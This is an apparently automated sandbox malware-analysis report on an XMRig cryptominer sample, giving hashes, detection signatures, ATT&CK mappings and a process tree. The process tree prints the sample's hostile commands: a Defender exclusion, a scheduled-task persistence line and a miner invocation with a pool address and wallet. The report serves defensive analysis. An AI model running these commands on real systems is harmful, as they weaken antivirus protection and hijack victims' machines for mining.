xmrig | b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e

General

Target

b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe
Size

3.4MB
MD5

529ecbed8bf3ff5e1c4b613f36ab4758
SHA1

f84b7a020c221879744427f34c1957b4a52fc998
SHA256

b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e
SHA512

61cf4580182d4bbfe294589eaf1d1b0c9d4fdbc26a18e5b2e0dee1e4284a3e63cad5685fb79588b1cd9032c7cdfc109287276284c631540cd50b1786b05ea400
SSDEEP

98304:OK1xSdXvKNmorEZCXZcVrx5EibycA63ZZQi/hmnbpHWw:xmohXZyTl+d63pmVb

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
behavioral1/memory/1216-264-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig
behavioral1/memory/1216-332-0x0000000140000000-0x00000001407C9000-memory.dmp	xmrig

.NET Reactor proctector 3 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

Processes:

resource	yara_rule
behavioral1/memory/4940-148-0x0000000000CE0000-0x00000000010D0000-memory.dmp	net_reactor
behavioral1/memory/4940-149-0x0000000000CE0000-0x00000000010D0000-memory.dmp	net_reactor
behavioral1/memory/4940-331-0x0000000000CE0000-0x00000000010D0000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1013461898-3711306144-4198452673-1000\Control Panel\International\Geo\Nation	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Suspicious use of SetThreadContext 1 IoCs

Processes:

b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe

description	pid	process	target process
PID 4940 set thread context of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

4524 schtasks.exe

pid	process
4524	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exepowershell.exe

pid	process
4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe
4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe
4296	powershell.exe
4296	powershell.exe
4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe
4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

pid process

668

pid	process
668

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exepowershell.exevbc.exe

description	pid	process
Token: SeDebugPrivilege	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe
Token: SeDebugPrivilege	4296	powershell.exe
Token: SeLockMemoryPrivilege	1216	vbc.exe
Token: SeLockMemoryPrivilege	1216	vbc.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

vbc.exe

pid process

1216 vbc.exe

pid	process
1216	vbc.exe

Suspicious use of WriteProcessMemory 20 IoCs

Processes:

b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.execmd.exe

description	pid	process	target process
PID 4940 wrote to memory of 4296	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	powershell.exe
PID 4940 wrote to memory of 4296	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	powershell.exe
PID 4940 wrote to memory of 2064	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	cmd.exe
PID 4940 wrote to memory of 2064	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	cmd.exe
PID 2064 wrote to memory of 4524	2064	cmd.exe	schtasks.exe
PID 2064 wrote to memory of 4524	2064	cmd.exe	schtasks.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe
PID 4940 wrote to memory of 1216	4940	b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe	vbc.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe
"C:\Users\Admin\AppData\Local\Temp\b6622a436cb33c1ee6a116580b12a39097eb4d566137705060e8bc3d02d2e43e.exe"
1⤵
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4940

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4296

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WBGRGV" /tr "C:\ProgramData\portableWin\WBGRGV.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:2064

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "WBGRGV" /tr "C:\ProgramData\portableWin\WBGRGV.exe"
3⤵
- Creates scheduled task(s)
PID:4524

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero
2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:1216

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scripting

1

T1064

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Scripting

1

T1064

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ak2cuti5.r1j.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1216-264-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/1216-298-0x0000018C96420000-0x0000018C96460000-memory.dmp

Filesize
256KB

Download
memory/1216-340-0x0000018C96480000-0x0000018C964A0000-memory.dmp

Filesize
128KB

Download
memory/1216-339-0x0000018C96460000-0x0000018C96480000-memory.dmp

Filesize
128KB

Download
memory/1216-338-0x0000018C96480000-0x0000018C964A0000-memory.dmp

Filesize
128KB

Download
memory/1216-337-0x0000018C96460000-0x0000018C96480000-memory.dmp

Filesize
128KB

Download
memory/1216-332-0x0000000140000000-0x00000001407C9000-memory.dmp

Filesize
7.8MB

Download
memory/4296-155-0x00000276BF0E0000-0x00000276BF0F0000-memory.dmp

Filesize
64KB

Download
memory/4296-165-0x00000276A6F90000-0x00000276A6FB2000-memory.dmp

Filesize
136KB

Download
memory/4940-173-0x00007FFBE55C0000-0x00007FFBE56C0000-memory.dmp

Filesize
1024KB

Download
memory/4940-182-0x00007FFBCAA70000-0x00007FFBCAB1A000-memory.dmp

Filesize
680KB

Download
memory/4940-144-0x00007FFBE7840000-0x00007FFBE79E1000-memory.dmp

Filesize
1.6MB

Download
memory/4940-146-0x00007FFBC9570000-0x00007FFBCA031000-memory.dmp

Filesize
10.8MB

Download
memory/4940-147-0x00007FFBE73B0000-0x00007FFBE73DB000-memory.dmp

Filesize
172KB

Download
memory/4940-148-0x0000000000CE0000-0x00000000010D0000-memory.dmp

Filesize
3.9MB

Download
memory/4940-150-0x00007FFBCA860000-0x00007FFBCA9AE000-memory.dmp

Filesize
1.3MB

Download
memory/4940-149-0x0000000000CE0000-0x00000000010D0000-memory.dmp

Filesize
3.9MB

Download
memory/4940-151-0x00007FFBE5A60000-0x00007FFBE5A87000-memory.dmp

Filesize
156KB

Download
memory/4940-154-0x000000001C390000-0x000000001C3A0000-memory.dmp

Filesize
64KB

Download
memory/4940-169-0x00007FFBE7A90000-0x00007FFBE7C85000-memory.dmp

Filesize
2.0MB

Download
memory/4940-170-0x00007FFBE6EF0000-0x00007FFBE6FAE000-memory.dmp

Filesize
760KB

Download
memory/4940-172-0x00007FFBE5880000-0x00007FFBE591D000-memory.dmp

Filesize
628KB

Download
memory/4940-171-0x00007FFBE51E0000-0x00007FFBE54A9000-memory.dmp

Filesize
2.8MB

Download
memory/4940-143-0x0000000000CE0000-0x00000000010D0000-memory.dmp

Filesize
3.9MB

Download
memory/4940-176-0x00007FFBE69D0000-0x00007FFBE6A7C000-memory.dmp

Filesize
688KB

Download
memory/4940-178-0x00007FFBE6380000-0x00007FFBE64AA000-memory.dmp

Filesize
1.2MB

Download
memory/4940-179-0x00007FFBD0510000-0x00007FFBD0575000-memory.dmp

Filesize
404KB

Download
memory/4940-177-0x00007FFBE6FB0000-0x00007FFBE704E000-memory.dmp

Filesize
632KB

Download
memory/4940-180-0x00007FFBE7050000-0x00007FFBE73A5000-memory.dmp

Filesize
3.3MB

Download
memory/4940-181-0x00007FFBE7770000-0x00007FFBE783D000-memory.dmp

Filesize
820KB

Download
memory/4940-145-0x0000000000A00000-0x0000000000A43000-memory.dmp

Filesize
268KB

Download
memory/4940-183-0x00007FFBE7560000-0x00007FFBE75B5000-memory.dmp

Filesize
340KB

Download
memory/4940-185-0x00007FFBD7BB0000-0x00007FFBD7BBA000-memory.dmp

Filesize
40KB

Download
memory/4940-186-0x00007FFBC9570000-0x00007FFBCA031000-memory.dmp

Filesize
10.8MB

Download
memory/4940-187-0x00007FFBD8D30000-0x00007FFBD8D46000-memory.dmp

Filesize
88KB

Download
memory/4940-189-0x00007FFBE6BF0000-0x00007FFBE6D1A000-memory.dmp

Filesize
1.2MB

Download
memory/4940-188-0x00007FFBCA9B0000-0x00007FFBCAA6D000-memory.dmp

Filesize
756KB

Download
memory/4940-191-0x00007FFBE5A60000-0x00007FFBE5A87000-memory.dmp

Filesize
156KB

Download
memory/4940-190-0x00007FFBCA860000-0x00007FFBCA9AE000-memory.dmp

Filesize
1.3MB

Download
memory/4940-193-0x0000000000A00000-0x0000000000A43000-memory.dmp

Filesize
268KB

Download
memory/4940-192-0x0000000000CE0000-0x00000000010D0000-memory.dmp

Filesize
3.9MB

Download
memory/4940-222-0x00007FFBE7A90000-0x00007FFBE7C85000-memory.dmp

Filesize
2.0MB

Download
memory/4940-224-0x00007FFBE51E0000-0x00007FFBE54A9000-memory.dmp

Filesize
2.8MB

Download
memory/4940-225-0x00007FFBC3D00000-0x00007FFBC3D35000-memory.dmp

Filesize
212KB

Download
memory/4940-331-0x0000000000CE0000-0x00000000010D0000-memory.dmp

Filesize
3.9MB

Download
memory/4940-142-0x00007FFBCA9B0000-0x00007FFBCAA6D000-memory.dmp

Filesize
756KB

Download
memory/4940-141-0x00007FFBE30D0000-0x00007FFBE30E2000-memory.dmp

Filesize
72KB

Download
memory/4940-140-0x00007FFBE6FB0000-0x00007FFBE704E000-memory.dmp

Filesize
632KB

Download
memory/4940-139-0x00007FFBCAA70000-0x00007FFBCAB1A000-memory.dmp

Filesize
680KB

Download
memory/4940-135-0x0000000000A00000-0x0000000000A43000-memory.dmp

Filesize
268KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads